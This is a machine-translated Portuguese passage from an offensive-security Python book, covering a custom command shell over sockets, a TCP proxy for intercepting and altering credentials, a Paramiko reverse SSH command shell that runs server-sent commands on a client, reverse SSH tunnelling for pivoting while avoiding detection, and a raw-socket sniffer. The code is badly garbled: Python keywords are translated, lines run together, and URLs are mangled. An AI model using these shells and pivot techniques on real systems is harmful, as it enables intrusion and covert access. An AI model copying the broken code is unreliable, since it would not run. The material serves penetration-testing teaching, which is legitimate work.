vamos brincar um pouco com ele para ver alguma saída. Em um terminal ou shell cmd.exe , execute nosso script
da seguinte forma:
justin$ ./bhnet.py -l -p 9999 -c

Agora você pode iniciar outro terminal ou cmd.exe e executar nosso script no modo cliente. Lembre-se de que nosso
script está lendo do stdin e o fará até que o marcador EOF (end-of-file) seja recebido. Para enviar EOF, pressione CTRL-
D no teclado:
justin$ ./bhnet.py -t localhost -p 9999
<CTRL-D>
<BHP:#> ls -la
total 32
drwxr-xr-x 4 justin staff 136 18 dez 19:45 . drwxr-xr-x 4 equipe de
justin 136 9 de dezembro 18:09 .. -rwxrwxrwt 1 equipe de justin 8498
19 de dezembro 06:38 bhnet.py -rw-r--r-- 1 equipe de justin 844 10 de dezembro
09:34 listagem- 1-3.py <BHP:#> pwd /Users/justin/svn/BHP/code/Chapter2 <BHP:#>

Você pode ver que recebemos de volta nosso shell de comando personalizado e, como estamos em um host Unix,
podemos executar alguns comandos locais e receber de volta alguma saída como se tivéssemos feito login via SSH
ou estivéssemos na caixa localmente. Também podemos usar nosso cliente para enviar solicitações à moda antiga:
justin$ echo -ne "GET / HTTP/1.1\r\nHost: www.google.com\r\n\r\n" | ./bhnet. py -t www.google.com -p 80

HTTP/1.1 302 Localização


encontrada: http://www.google.ca/ Controle de
cache: privado Tipo de conteúdo: text/html;
charset=UTF-8 P3P: CP="Esta não é uma política de P3P!
Consulte http://www.google.com/support/ accounts/bin/answer.py?hl=en&answer=151657 para obter mais
informações."
Data: Quarta-feira, 19 de dezembro de 2012 13:22:55
GMT Servidor: gws Comprimento do conteúdo: 218
X-XSS-Proteção: 1; modo=bloco

X-Frame-Options: SAMEORIGIN

<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">


<TITLE>302 Movido</TITLE></HEAD><BODY>
<H1>302 Movido</H1>
O documento foi movido
<A HREF="http://www.google.ca/">aqui</A>.
</BODY></HTML>
[*] Exceção! Saindo.

justin$

Ai está! Não é uma técnica super técnica, mas é uma boa base sobre como hackear alguns soquetes de cliente e
servidor em Python e usá-los para o mal. Claro, é dos fundamentos que você mais precisa: use sua imaginação para
expandi-la ou aprimorá-la. Em seguida, vamos construir um proxy TCP, que é útil em vários cenários ofensivos.
Machine Translated by Google
Construindo um Proxy TCP Há
uma série de razões para ter um proxy TCP em seu cinto de ferramentas, tanto para encaminhar o tráfego
para saltar de host para host, mas também ao avaliar software baseado em rede. Ao realizar testes de
penetração em ambientes corporativos, você geralmente se depara com o fato de que não pode executar o
Wireshark, que não pode carregar drivers para detectar o loopback no Windows ou que a segmentação de
rede impede que você execute suas ferramentas diretamente contra seu host de destino. Empreguei um
proxy Python simples em vários casos para ajudar a entender protocolos desconhecidos, modificar o tráfego
enviado a um aplicativo e criar casos de teste para fuzzers. Vamos lá.
import sys
import socket import
threading def
server_loop(local_host,local_port,remote_host,remote_port,receive_first):

servidor = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

experimentar:

server.bind((local_host,local_port))
exceto:
print "[!!] Falha ao escutar em %s:%d" % (local_host,local_port) print "[!!] Verifique se há outros
soquetes de escuta ou permissões corretas." sys.exit(0)

print "[*] Escutando em %s:%d" % (local_host,local_port)

server.listen(5)

enquanto verdadeiro:

client_socket, addr = server.accept()

# imprime as informações de conexão local print "[==>] Conexão de


entrada recebida de %s:%d" % (addr[0],addr[1])

# inicia um thread para falar com o host remoto proxy_thread =


threading.Thread(target=proxy_handler,
args=(client_socket,remote_host,remote_port,receive_first))

proxy_thread.start()

def principal():

# sem análise de linha de comando sofisticada aqui if


len(sys.argv[1:]) != 5: print "Uso: ./proxy.py [localhost]
[localport] [remotehost] [remoteport] [receive_first]" print " Exemplo: ./proxy.py 127.0.0.1 9000
10.12.132.1 9000 Verdadeiro" sys.exit(0)

# configurar parâmetros de escuta local local_host =


sys.argv[1] local_port = int(sys.argv[2])

# setup remote target remote_host


= sys.argv[3] remote_port =
int(sys.argv[4])

# isso diz ao nosso proxy para conectar e receber dados # antes de enviar para
o host remoto receive_first = sys.argv[5]
Machine Translated
if "True" by Google
em receive_first: receive_first =
True else:

receber_primeiro = Falso

# agora ative nosso soquete de escuta


server_loop(local_host,local_port,remote_host,remote_port,receive_first)

a Principal()

A maior parte disso deve parecer familiar: pegamos alguns argumentos de linha de comando e, em seguida, iniciamos
um loop de servidor que escuta as conexões. Quando chega uma nova solicitação de conexão, nós a transferimos para
nosso proxy_handler, que faz todo o envio e recebimento de bits suculentos para qualquer um dos lados do fluxo de
dados.

Vamos mergulhar na função proxy_handler agora adicionando o seguinte código acima de nossa função principal .

def proxy_handler(client_socket, remote_host, remote_port, receive_first):

# conectar ao host remoto remote_socket =


socket.socket(socket.AF_INET, socket.SOCK_STREAM)

remote_socket.connect((remote_host,remote_port))

# receba dados da extremidade remota, se necessário ÿ if receive_first:

ÿÿ remote_buffer = receive_from(remote_socket) hexdump(remote_buffer)

# envie para nosso manipulador de resposta


ÿ remote_buffer = response_handler(remote_buffer)

# se tivermos dados para enviar ao nosso cliente local, envie if len(remote_buffer):

print "[<==] Enviando %d bytes para localhost." % len(remote_buffer)


client_socket.send(remote_buffer)

# agora vamos fazer um loop e ler do local, # enviar para


o remoto, enviar para o local
# enxágue, lave, repita enquanto
True:

# ler do host local local_buffer =


receive_from(client_socket)

if len(local_buffer):

print "[==>] %d bytes recebidos do localhost." % len(buffer_local)

hexdump(local_buffer)

# envie para nosso manipulador de solicitação


local_buffer = request_handler(local_buffer)

# envia os dados para o host remoto


remote_socket.send(local_buffer) print "[==>]
Enviado para remoto."

# receba de volta a resposta remote_buffer


= receive_from(remote_socket)

if len(remote_buffer):
Machine Translated by Google
print "[<==] %d bytes recebidos do remoto." % len(remote_buffer) hexdump(remote_buffer)

# envie para nosso manipulador de resposta


remote_buffer = response_handler(remote_buffer)

# envia a resposta para o socket local


client_socket.send(remote_buffer)

print "[<==] Enviado para localhost."

# se não houver mais dados em nenhum dos lados, feche as conexões if not
ÿ len(local_buffer) or not len(remote_buffer): client_socket.close() remote_socket.close()
print "[*] Não há mais dados. Fechando conexões."

pausa

Essa função contém a maior parte da lógica do nosso proxy. Para começar, verificamos se não precisamos primeiro
iniciar uma conexão com o lado remoto e solicitar dados antes de entrar em nosso loop principal ÿ. Alguns daemons
de servidor esperam que você faça isso primeiro (os servidores FTP geralmente enviam um banner primeiro, por
exemplo). Em seguida, usamos nossa função receive_from ÿ, que reutilizamos para ambos os lados da
comunicação; ele simplesmente recebe um objeto de soquete conectado e executa uma recepção. Em seguida,
despejamos o conteúdo ÿ do pacote para que possamos inspecioná-lo em busca de algo interessante. Em seguida,
passamos a saída para nossa função response_handler ÿ. Dentro desta função, você pode modificar o conteúdo
do pacote, executar tarefas de fuzzing, testar problemas de autenticação ou qualquer outra coisa que desejar. Há
uma função request_handler complementar que também faz o mesmo para modificar o tráfego de saída.
A etapa final é enviar o buffer recebido para nosso cliente local. O restante do código do proxy é direto:
lemos continuamente do local, processamos, enviamos para o remoto, lemos do remoto, processamos e enviamos
para o local até que não haja mais dados detectados ÿ.

Vamos juntar o resto de nossas funções para completar nosso proxy.

# esta é uma bela função hex dumping tirada diretamente # dos comentários aqui: # http://
code.activestate.com/recipes/142812-hex-dumper/ ÿ def hexdump(src, length=16):

resultado = []
dígitos = 4 if isinstance(src, unicode) else 2 for i in xrange(0, len(src),
length):
s = src[i:i+comprimento]
hexa = b' '.join(["%0*X" % (dígitos, ord(x)) for x in s]) text = b''.join([x if 0x20 <= ord(x)
< 0x7F else b'.' for x in s]) result.append( b"%04X %-*s %s" % (i, comprimento*(dígitos + 1), hexa,
texto) )

imprimir b'\n'.join(resultado)

ÿ def receive_from(conexão):

tampão =
""

# Definimos um tempo limite de 2 segundos; dependendo do seu #


alvo, pode ser necessário ajustar connection.settimeout(2)

experimentar:

# continue lendo no buffer até # não haver mais dados


# ou atingirmos o tempo limite

enquanto verdadeiro:
Machine Translated by Googledados = conexão.recv(4096)
se não dados:
pausa

buffer += dados

exceto:
passar

buffer de retorno

# modifique quaisquer solicitações destinadas ao host remoto ÿ def


request_handler(buffer):
# realiza modificações no pacote retorna buffer

ÿ # modifique quaisquer respostas destinadas ao host local


def response_handler(buffer):
# executa modificações de pacotes
buffer de retorno

Este é o pedaço final de código para completar nosso proxy. Primeiro, criamos nossa função hexadecimal ÿ que
simplesmente exibirá os detalhes do pacote com seus valores hexadecimais e caracteres ASCII imprimíveis.
Isso é útil para entender protocolos desconhecidos, encontrar credenciais de usuários em protocolos de texto
simples e muito mais. A função receive_from ÿ é utilizada tanto para receber dados locais quanto remotos,
bastando apenas passarmos o objeto socket a ser utilizado. Por padrão, há um tempo limite de dois segundos
definido, que pode ser agressivo se você estiver fazendo proxy de tráfego para outros países ou em redes com
perdas (aumente o tempo limite conforme necessário). O restante da função simplesmente lida com o recebimento
de dados até que mais dados sejam detectados na outra extremidade da conexão. Nossas duas últimas funções ÿ ÿ
permitem que você modifique qualquer tráfego destinado a qualquer extremidade do proxy. Isso pode ser útil, por
exemplo, se credenciais de usuário em texto simples estiverem sendo enviadas e você quiser tentar elevar privilégios
em um aplicativo passando admin em vez de justin. Agora que temos nosso proxy configurado, vamos dar uma volta.
Machine Translated by Google
Chutando os pneus
Agora que temos nosso loop de proxy principal e as funções de suporte no lugar, vamos testar
isso em um servidor FTP. Inicie o proxy com as seguintes opções:
justin$ sudo ./proxy.py 127.0.0.1 21 ftp.target.ca 21 Verdadeiro

Usamos o sudo aqui porque a porta 21 é uma porta privilegiada e requer privilégios administrativos ou de root
para ouvi-la. Agora pegue seu cliente FTP favorito e configure-o para usar localhost e porta 21 como seu host
remoto e porta. Obviamente, você desejará apontar seu proxy para um servidor FTP que realmente responderá
a você. Quando executei isso em um servidor FTP de teste, obtive o seguinte resultado:
[*] Ouvindo em 127.0.0.1:21 [==>] Recebida
conexão de entrada de 127.0.0.1:59218 0000 32 32 30 20 50 72 6F 46 54 50 44 20 31
2E 33 2E 220 ProFTPD 1.3.
0010 33 61 20 53 65 72 76 65 72 20 28 44 65 62 69 61 3a Servidor (Debian)
0020 6E 29 20 5B 3A 3A 66 66 66 66 3A 35 30 2E 35 37 [::ffff:22.22
0030 2E 31 36 38 2E 39 33 5D 0D 0A .22.22]..
[<==] Enviando 58 bytes para localhost.
[==>] Recebeu 12 bytes de localhost.
0000 55 53 45 52 20 74 65 73 74 79 0D 0A USUÁRIO teimoso..
[==>] Enviado para remoto.
[<==] Recebido 33 bytes do controle remoto.
0000 33 33 31 20 50 61 73 73 77 6F 72 64 20 72 65 71 331 Senha necessária
0010 75 69 72 65 64 20 66 6F 72 20 74 65 73 74 79 0D para testy.
0020 0A .
[<==] Enviado para localhost.
[==>] Recebido 13 bytes de localhost.
0000 50 41 53 53 20 74 65 73 74 65 72 0D 0A testador PASS..
[==>] Enviado para remoto.
[*] Sem mais dados. Fechando conexões.

Você pode ver claramente que somos capazes de receber com sucesso o banner FTP e enviar um nome de
usuário e senha, e que ele sai de forma limpa quando o servidor nos punt devido a credenciais incorretas.
Machine Translated by Google
SSH com Paramiko
Pivotar com BHNET é bastante útil, mas às vezes é aconselhável criptografar seu tráfego para evitar a detecção. Um
meio comum de fazer isso é encapsular o tráfego usando Secure Shell (SSH). Mas e se o seu destino não tiver um cliente SSH
(como 99,81943 por cento dos sistemas Windows)?

Embora existam ótimos clientes SSH disponíveis para Windows, como o Putty, este é um livro sobre Python. Em Python, você
pode usar soquetes brutos e alguma mágica criptográfica para criar seu próprio cliente ou servidor SSH — mas por que criar
quando você pode reutilizar? Paramiko usando PyCrypto oferece acesso simples ao protocolo SSH2.

Para aprender como essa biblioteca funciona, usaremos o Paramiko para fazer uma conexão e executar um comando em um
sistema SSH, configurar um servidor SSH e um cliente SSH para executar comandos remotos em uma máquina Windows e,
finalmente, decifrar a demonstração do túnel reverso arquivo incluído no Paramiko para duplicar a opção de proxy do BHNET.
Vamos começar.

Primeiro, pegue o Paramiko usando o instalador pip (ou baixe-o em http:// www.paramiko.org/):
pip instalar paramiko

Usaremos alguns dos arquivos de demonstração mais tarde, portanto, certifique-se de baixá-los também do site da Paramiko.

Crie um novo arquivo chamado bh_sshcmd.py e digite o seguinte:

import threading import


paramiko import
subprocess

ÿ def ssh_command(ip, user, passwd, command): client =


paramiko.SSHClient()
ÿ #client.load_host_keys('/home/justin/.ssh/known_hosts') ÿ
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(ip, username=user, password=passwd) ssh_session =
client.get_transport().open_session() if ssh_session.active:
ssh_session.exec_command(command) print ssh_session.recv(1024)
ÿ

Retorna

ssh_command('192.168.100.131', 'justin', 'lovesthepython','id')

Este é um programa bastante simples. Criamos uma função chamada ssh_command ÿ, que faz uma conexão com um servidor
SSH e executa um único comando. Observe que o Paramiko suporta autenticação com chaves ÿ em vez de (ou além de)
autenticação de senha. O uso da autenticação de chave SSH é altamente recomendado em um compromisso real, mas para
facilitar o uso neste exemplo, usaremos o nome de usuário tradicional e a autenticação de senha.

Como estamos controlando as duas extremidades dessa conexão, definimos a política para aceitar a chave SSH do servidor
SSH ao qual estamos nos conectando ÿ e fazer a conexão. Finalmente, assumindo que a conexão foi feita, executamos o
comando que passamos na chamada para a função ssh_command em nosso exemplo o comando id ÿ.

Vamos fazer um teste rápido conectando-nos ao nosso servidor Linux:

C:\tmp> python bh_sshcmd.py


Uid=1000(justin) gid=1001(justin) groups=1001(justin)

Você verá que ele se conecta e executa o comando. Você pode facilmente modificar este script para executar
Machine
vários Translatedem
comandos by um
Google
servidor SSH ou execute comandos em vários servidores SSH.
Assim, com o básico feito, vamos modificar nosso script para suportar a execução de comandos em nosso
cliente Windows por SSH. Claro, normalmente ao usar SSH, você usa um cliente SSH para se conectar a um
servidor SSH, mas como o Windows não inclui um servidor SSH pronto para uso, precisamos reverter isso e
enviar comandos de nosso servidor SSH para o cliente SSH.

Crie um novo arquivo chamado bh_sshRcmd.py e digite o seguinte: [6]


import threading import
paramiko import
subprocess

def ssh_command(ip, user, passwd, command): client =


paramiko.SSHClient() #client.load_host_keys('/home/justin/.ssh/
known_hosts') client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect( ip, nome de usuário=usuário, senha=senha) ssh_session =
client.get_transport().open_session() if ssh_session.active: ssh_session.send(command) print
ssh_session.recv(1024)#read banner while True:

command = ssh_session.recv(1024) #pegue o comando do SSH


servidor

tente:
cmd_output = subprocess.check_output(command, shell=True) ssh_session.send(cmd_output)
except Exception,e: ssh_session.send(str(e)) client.close()

Retorna
ssh_command('192.168.100.130', 'justin', 'lovesthepython','ClientConnected')

As primeiras linhas são como nosso último programa e as novas coisas começam no while True: loop. Observe
também que o primeiro comando que enviamos é ClientConnected. Você verá por que quando criarmos a outra
extremidade da conexão SSH.

Agora crie um novo arquivo chamado bh_sshserver.py e digite o seguinte:


import socket import
paramiko import
threading import sys #
usando a chave dos
arquivos de demonstração do Paramiko ÿ host_key =
paramiko.RSAKey(filename='test_rsa.key')

ÿ class Server (paramiko.ServerInterface): def _init_(self): self.event


= threading.Event() def check_channel_request(self, kind,
chanid):

if tipo == 'sessão':

return paramiko.OPEN_SUCCEEDED return


paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
def check_auth_password(self, username, password): if (username == 'justin') e
(password == 'lovesthepython'):
return paramiko.AUTH_SUCCESSFUL return
paramiko.AUTH_FAILED servidor = sys.argv[1] ssh_port
= int(sys.argv[2]) ÿ tente: sock = socket.socket(socket.AF_INET,
socket.SOCK_STREAM) sock.setsockopt(socket. SOL_SOCKET,
socket.SO_REUSEADDR, 1) sock.bind((servidor, ssh_port))
sock.listen(100) print '[+] Ouvindo conexão...'
Machinecliente,
Translated by Google
addr = sock.accept() exceto Exceção,
e:
print '[-] Falha na escuta: ' sys.exit(1) print + rua(s)
'[+] Obteve uma conexão!'

ÿ tente:
bhSession = paramiko.Transport(client)
bhSession.add_server_key(host_key) server = Server()

tente:
bhSession.start_server(servidor=servidor) exceto
paramiko.SSHException, x:
print '[-] Falha na negociação SSH.'
chan = bhSession.accept(20) ÿ print '[+]
Autenticado!' print chan.recv(1024) chan.send('Bem-
vindo a bh_ssh')

ÿ enquanto Verdadeiro:
experimentar:

command= raw_input("Digite o comando: ").strip('\n') if command != 'exit':

chan.send(comando) print
chan.recv(1024) + '\n' else:

chan.send('exit') print
'exiting' bhSession.close()
raise Exception ('exit')

exceto KeyboardInterrupt:
bhSession.close()
exceto Exceção, e:
print '[-] Exceção capturada: ' try: bhSession.close()+ rua(s)

exceto:
passar
sys.exit(1)

Este programa cria um servidor SSH ao qual nosso cliente SSH (onde queremos executar comandos) se
conecta. Pode ser um sistema Linux, Windows ou até mesmo OS X com Python e Paramiko instalados.
Para este exemplo, estamos usando a chave SSH incluída nos arquivos de demonstração do Paramiko ÿ.
Iniciamos um socket listener ÿ, assim como fizemos anteriormente no capítulo, e então SSHinizamos ÿ e
configuramos os métodos de autenticação ÿ. Quando um cliente é autenticado ÿ e nos envia a mensagem
ClientConnected ÿ, qualquer comando que digitamos no bh_sshserver é enviado para o bh_sshclient e
executado no bh_sshclient, e a saída é retornada para bh_sshserver. Vamos tentar.
Machine Translated by Google
Chutando os pneus Para a
demonstração, executarei o servidor e o cliente em minha máquina Windows (consulte a Figura 2-1).

Figura 2-1. Usando SSH para executar comandos

Você pode ver que o processo começa configurando nosso servidor SSH ÿ e, em seguida, conectando-se
a partir de nosso cliente ÿ. O cliente está conectado com sucesso ÿ e executamos um comando ÿ. Não vemos
nada no cliente SSH, mas o comando que enviamos é executado no cliente ÿ e a saída é enviada para nosso
servidor SSH ÿ.
Machine Translated by Google
Tunelamento SSH O
tunelamento SSH é incrível, mas pode ser confuso para entender e configurar, especialmente quando se
lida com um túnel SSH reverso.

Lembre-se de que nosso objetivo em tudo isso é executar comandos que digitamos em um cliente SSH em um
servidor SSH remoto. Ao usar um túnel SSH, em vez de comandos digitados serem enviados ao servidor, o tráfego de
rede é enviado empacotado dentro do SSH e depois desempacotado e entregue pelo servidor SSH.

Imagine que você está na seguinte situação: Você tem acesso remoto a um servidor SSH em uma rede
interna, mas deseja acessar o servidor web na mesma rede. Você não pode acessar o servidor web diretamente,
mas o servidor com SSH instalado tem acesso e o servidor SSH não possui as ferramentas que você deseja usar
instaladas nele.

Uma maneira de superar esse problema é configurar um túnel SSH de encaminhamento. Sem entrar em muitos
detalhes, executar o comando ssh -L 8008:web:80 justin@sshserver conectará ao servidor ssh como o usuário
justin e configurará a porta 8008 em seu sistema local. Qualquer coisa enviada para a porta 8008 será enviada pelo
túnel SSH existente para o servidor SSH e entregue ao servidor da web. A Figura 2-2 mostra isso em ação.

Figura 2-2. Tunelamento direto SSH

Isso é muito legal, mas lembre-se de que poucos sistemas Windows estão executando um serviço de servidor SSH.
Nem tudo está perdido, no entanto. Podemos configurar uma conexão de túnel SSH reverso. Nesse caso, nos
conectamos ao nosso próprio servidor SSH do cliente Windows da maneira usual. Por meio dessa conexão SSH,
também especificamos uma porta remota no servidor SSH que será encapsulada para o host local e a porta (conforme
mostrado na Figura 2-3). Este host local e porta podem ser usados, por exemplo, para expor a porta 3389 para
acessar um sistema interno usando a área de trabalho remota ou para outro sistema que o cliente Windows possa
acessar (como o servidor web em nosso exemplo).
Machine Translated by Google

Figura 2-3. Tunelamento reverso SSH

Os arquivos de demonstração do Paramiko incluem um arquivo chamado rforward.py que faz exatamente isso. Funciona
perfeitamente como está, então não vou apenas reimprimir esse arquivo, mas vou apontar alguns pontos importantes e
mostrar um exemplo de como usá-lo. Abra rforward.py, pule para main () e siga em frente.
def principal():
ÿ opções, servidor, remoto = parse_options()
senha = Nenhuma se
opções.readpass:
password = getpass.getpass('Enter SSH password: ') ÿ client =
paramiko.SSHClient() client.load_system_host_keys()
client.set_missing_host_key_policy(paramiko.WarningPolicy()) verbose('Connecting
to ssh host %s:%d .. .' % (servidor[0], servidor[1])) tente: client.connect(servidor[0],
servidor[1], nome de usuário=options.user, key_filename=options.keyfile,
look_for_keys=options.look_for_keys, senha =senha)

except Exception as e: print('***


Falha ao conectar a %s:%d: %r' % (servidor[0], servidor[1], e)) sys.exit(1)

verbose('Agora encaminhando a porta remota %d para %s:%d ...' % (options.port, remote[0], remote[1]))

tente:
ÿ reverse_forward_tunnel(options.port, remote[0], remote[1], client.get_transport())

exceto KeyboardInterrupt:
print('Cc: Encaminhamento de porta interrompido.')
sys.exit(0)

As poucas linhas na parte superior ÿ verifique novamente para garantir que todos os argumentos necessários sejam
passados para o script antes de configurar a conexão do cliente Parmakio SSH ÿ (que deve parecer muito familiar).
A seção final em main() chama a função reverse_forward_tunnel ÿ.
Vamos dar uma olhada nessa função.

def reverse_forward_tunnel(server_port, remote_host, remote_port, transport): ÿ transport.request_port_forward('',


server_port)
enquanto verdadeiro:

ÿ chan = transport.accept(1000) se chan for


None:
Prosseguir
Machine
ÿ Translated by Google
thr = threading.Thread(target=handler, args=(chan, remote_host, . remote_port))

thr.setDaemon(True) thr.start()

No Paramiko, existem dois métodos principais de comunicação: o transporte, que é responsável por fazer e
manter a conexão criptografada, e o canal, que atua como um sock para enviar e receber dados na sessão de
transporte criptografado. Aqui começamos a usar request_port_forward do Paramiko para encaminhar conexões
TCP de uma porta ÿ no servidor SSH e iniciar um novo canal de transporte ÿ. Então, no canal, chamamos o manipulador
de função ÿ.

Mas ainda não terminamos.


def handler(chan, host, port): sock =
socket.socket() try: sock.connect((host,
port)) except Exception as e:

verbose('Falha ao encaminhar solicitação para %s:%d: %r' % (host, porta, e))


Retorna

verbose('Conectado! Túnel aberto %r -> %r -> %r' % (chan.origin_addr, . chan.getpeername(), . (host, porta)))

ÿ enquanto Verdadeiro:

r, w, x = select.select([meia, chan], [], []) se meia em r:

data = sock.recv(1024) if len(data)


== 0: break

chan.enviar(dados)
se chan em r:
data = chan.recv(1024) if len(data)
== 0:
pausa
sock.send(data)
chan.close() sock.close()
verbose('Túnel fechado de %r' %
(chan.origin_addr,))

E, finalmente, os dados são enviados e recebidos ÿ.

Vamos tentar.
Machine Translated by Google
Chutando os pneus Vamos
executar rforward.py de nosso sistema Windows e configurá-lo para ser o intermediário enquanto encapsulamos
o tráfego de um servidor da Web para nosso servidor Kali SSH.

C:\tmp\demos>rforward.py 192.168.100.133 -p 8080 -r 192.168.100.128:80 --user justin --password


Insira a senha SSH: Conectando ao host ssh 192.168.100.133:22 ...

C:\Python27\lib\site-packages\paramiko\client.py:517: UserWarning: Desconhecido ssh-r

sa chave do host para 192.168.100.133: cb28bb4e3ec68e2af4847a427f08aa8b (key.get_name(),


hostname, hexlify(key.get_fingerprint())))
Agora encaminhando a porta remota 8080 para 192.168.100.128:80...

Você pode ver que, na máquina Windows, fiz uma conexão com o servidor SSH em 192.168.100.133 e abri a porta
8080 nesse servidor, que encaminhará o tráfego para a porta 80 192.168.100.128. Agora, se eu navegar para http://
127.0.0.1:8080 em meu servidor Linux, conecto-me ao servidor web em 192.168.100.128 por meio do túnel SSH,
conforme mostrado na Figura 2-4.

Figura 2-4. Exemplo de túnel SSH reverso

Se você voltar para a máquina Windows, também poderá ver a conexão sendo feita no Paramiko:
Conectado! Túnel aberto (u'127.0.0.1', 54537) -> ('192.168.100.133', 22) -> ('192.168.100.128', 80)

SSH e tunelamento SSH são importantes para entender e usar. Saber quando e como fazer o SSH e o túnel SSH
é uma habilidade importante para os black hats, e o Paramiko torna possível adicionar recursos SSH às suas
ferramentas Python existentes.

Criamos algumas ferramentas muito simples, mas muito úteis neste capítulo. Eu encorajo você a expandir e modificar
conforme necessário. O objetivo principal é desenvolver uma compreensão firme do uso da rede Python para criar
ferramentas que você pode usar durante testes de penetração, pós-exploração ou durante a busca por bugs. Vamos
passar a usar soquetes brutos e realizar sniffing de rede e, em seguida, combinaremos os dois para criar um scanner
de descoberta de host Python puro.

[5] A documentação completa do soquete pode ser encontrada aqui: http:// docs.python.org/ 2/ library/ socket.html.

[6] Esta discussão expande o trabalho de Hussam Khrais, que pode ser encontrado em http:// resources.infosecinstitute.com/.
Machine Translated by Google
Capítulo 3. A Rede: Raw Sockets e
Sniffing
Os sniffers de rede permitem que você veja os pacotes entrando e saindo de uma máquina de destino. Como
resultado, eles têm muitos usos práticos antes e depois da exploração. Em alguns casos, você poderá usar o
Wireshark (http:// wireshark.org/) para monitorar o tráfego ou usar uma solução Pythonic como Scapy (que
exploraremos no próximo capítulo). No entanto, há uma vantagem em saber como reunir um sniffer rápido para
visualizar e decodificar o tráfego de rede. Escrever uma ferramenta como esta também lhe dará uma profunda
apreciação pelas ferramentas maduras que podem cuidar sem dor dos pontos mais delicados com pouco esforço de
sua parte. Você provavelmente também aprenderá algumas novas técnicas de Python e talvez um melhor
entendimento de como os bits de rede de baixo nível funcionam.

No capítulo anterior, abordamos como enviar e receber dados usando TCP e UDP e, sem dúvida, é assim que
você irá interagir com a maioria dos serviços de rede. Mas sob esses protocolos de nível superior estão os blocos
de construção fundamentais de como os pacotes de rede são enviados e recebidos. Você usará soquetes brutos
para acessar informações de rede de nível inferior, como os cabeçalhos IP e ICMP brutos. No nosso caso, estamos
interessados apenas na camada IP e superior, portanto não decodificaremos nenhuma informação Ethernet.
Obviamente, se você pretende realizar ataques de baixo nível, como envenenamento por ARP, ou está
desenvolvendo ferramentas de avaliação sem fio, precisa se familiarizar intimamente com os quadros Ethernet e
seu uso.

Vamos começar com um breve passo a passo de como descobrir hosts ativos em um segmento de rede.
Machine Translated by Google
Construindo uma ferramenta de descoberta de host UDP
O principal objetivo do nosso sniffer é realizar a descoberta de host baseada em UDP em uma rede de destino.
Os invasores desejam poder ver todos os alvos em potencial em uma rede para que possam concentrar suas
tentativas de reconhecimento e exploração.

Usaremos um comportamento conhecido da maioria dos sistemas operacionais ao lidar com portas UDP fechadas para
determinar se há um host ativo em um determinado endereço IP. Quando você envia um datagrama UDP para uma porta
fechada em um host, esse host geralmente envia de volta uma mensagem ICMP indicando que a porta está inacessível. Essa
mensagem ICMP indica que há um host ativo porque assumiríamos que não havia host se não recebêssemos uma resposta ao
datagrama UDP. É essencial escolher uma porta UDP que provavelmente não será usada e, para cobertura máxima, podemos
sondar várias portas para garantir que não estamos atingindo um serviço UDP ativo.

Por que UDP? Não há sobrecarga em espalhar a mensagem por toda uma sub-rede e esperar que as respostas ICMP
cheguem de acordo. Este é um scanner bastante simples de construir com a maior parte do trabalho indo para decodificar e
analisar os vários cabeçalhos de protocolo de rede. Implementaremos esse scanner de host para Windows e Linux para
maximizar a probabilidade de poder usá-lo em um ambiente corporativo.

Também poderíamos criar lógica adicional em nosso scanner para iniciar verificações completas de portas Nmap em quaisquer
hosts que descobrirmos para determinar se eles têm uma superfície de ataque de rede viável. Esses são exercícios deixados para
o leitor, e estou ansioso para ouvir algumas das maneiras criativas pelas quais você pode expandir esse conceito básico.
Vamos começar.
Machine Translated by Google
Packet Sniffing no Windows e Linux O acesso a soquetes brutos
no Windows é um pouco diferente do que em seus irmãos Linux, mas queremos ter a flexibilidade de implantar
o mesmo sniffer em várias plataformas. Criaremos nosso objeto de soquete e determinaremos em qual plataforma
estamos executando. O Windows exige que definamos alguns sinalizadores adicionais por meio de um controle
de entrada/saída de soquete (IOCTL), [7] que habilita o modo promíscuo na interface de rede. Em nosso primeiro
exemplo, simplesmente configuramos nosso sniffer de soquete bruto, lemos um único pacote e, em seguida,
encerramos.
importar soquete importar

sistema operacional

# host para ouvir


host = "192.168.0.196"

# crie um soquete bruto e o vincule à interface pública if os.name == "nt":

ÿ socket_protocol = socket.IPPROTO_IP
outro:
socket_protocol = socket.IPPROTO_ICMP

sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol)

sniffer.bind((host, 0))

# queremos os cabeçalhos IP incluídos na captura


ÿ sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)

# se estivermos usando o Windows, precisamos enviar um IOCTL # para configurar


o modo promíscuo ÿ if os.name == "nt":

sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)

# lê em um único pacote ÿ imprime


sniffer.recvfrom(65565)

# se estivermos usando o Windows, desative o modo promíscuo


ÿ if os.name == "nt":
sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)

Começamos construindo nosso objeto socket com os parâmetros necessários para farejar pacotes em nossa
interface de rede ÿ. A diferença entre o Windows e o Linux é que o Windows nos permitirá farejar todos os
pacotes recebidos, independentemente do protocolo, enquanto o Linux nos obriga a especificar que estamos
farejando o ICMP. Observe que estamos usando o modo promíscuo, que requer privilégios administrativos no
Windows ou root no Linux. O modo promíscuo nos permite farejar todos os pacotes que a placa de rede vê, mesmo
